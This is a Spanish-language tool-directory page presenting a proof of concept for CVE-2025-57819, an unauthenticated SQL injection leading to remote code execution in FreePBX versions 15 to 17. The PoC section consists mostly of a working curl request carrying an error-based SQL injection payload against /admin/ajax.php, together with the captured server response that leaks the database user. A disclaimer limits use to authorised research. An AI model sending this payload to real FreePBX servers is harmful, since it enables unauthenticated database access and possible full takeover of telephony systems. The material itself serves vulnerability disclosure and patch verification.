Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/muhammadwaseem29/sql-injection-and-rce_cve-2025-57819
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubmuhammadwaseem29/sql-injection-and-rce_cve-2025-57819

SQL-Injection-and-RCE_CVE-2025-57819

FreePBX versiones 15, 16 y 17 contienen una vulnerabilidad de Ejecución Remota de Código (RCE) causada por una sanitización insuficiente de los datos proporcionados por el usuario en los endpoints.

Ver RepositorioSitio web
722hace 0 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

FreePBX RCE PoC (No autenticado)

Resumen

Las versiones 15, 16 y 17 de FreePBX contienen una vulnerabilidad de Ejecución Remota de Código (RCE) causada por una sanitización insuficiente de los datos proporcionados por el usuario en los endpoints.
Un atacante no autenticado puede manipular la base de datos y lograr ejecución remota de código. El exploit no requiere autenticación.

Referencia

  • https://github.com/freepbx/security-reporting/security/advisories/ghsa-m42g-xg4c-5f3h

Prueba de Concepto (PoC)

Nota: El objetivo ha sido redactado. Reemplace [REDACTED_TARGET] por el host real al realizar pruebas autorizadas.

Solicitud

root@kitploit:~
curl -i -k "https://[REDACTED_TARGET]/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+"

Respuesta (ejemplo capturado durante las pruebas)

root@kitploit:~
HTTP/1.1 500 Internal Server Error
Date: Fri, 12 Sep 2025 08:35:29 GMT
Server: Apache/2.4.6 (Sangoma) OpenSSL/1.0.1e-fips PHP/5.6.31
X-Powered-By: PHP/5.6.31
Set-Cookie: PHPSESSID=fmt7o0oecththmves36nijvfu7; expires=Sun, 12-Oct-2025 08:35:29 GMT; Max-Age=2592000; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json

{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~USER:freepbxuser@localhost~'::","file":"\/var\/www\/html\/admin\/libraries\/utility.functions.php","line":207}}

Por qué esto lo demuestra: la respuesta contiene ~USER:freepbxuser@localhost~ — confirma la inyección SQL / divulgación de datos desde una solicitud no autenticada.

carbon (1)

Impacto

Manipulación remota no autenticada de la base de datos que conduce a la ejecución arbitraria de código en el servidor — es posible el compromiso total del sistema.


Descargo de responsabilidad

Este repositorio y PoC se proporcionan solo con fines educativos y de investigación de seguridad autorizada. No pruebe ni explote sistemas sin permiso explícito. El autor no se hace responsable del mal uso o daños resultantes de este PoC.

root@kitploit:~
Descargar herramienta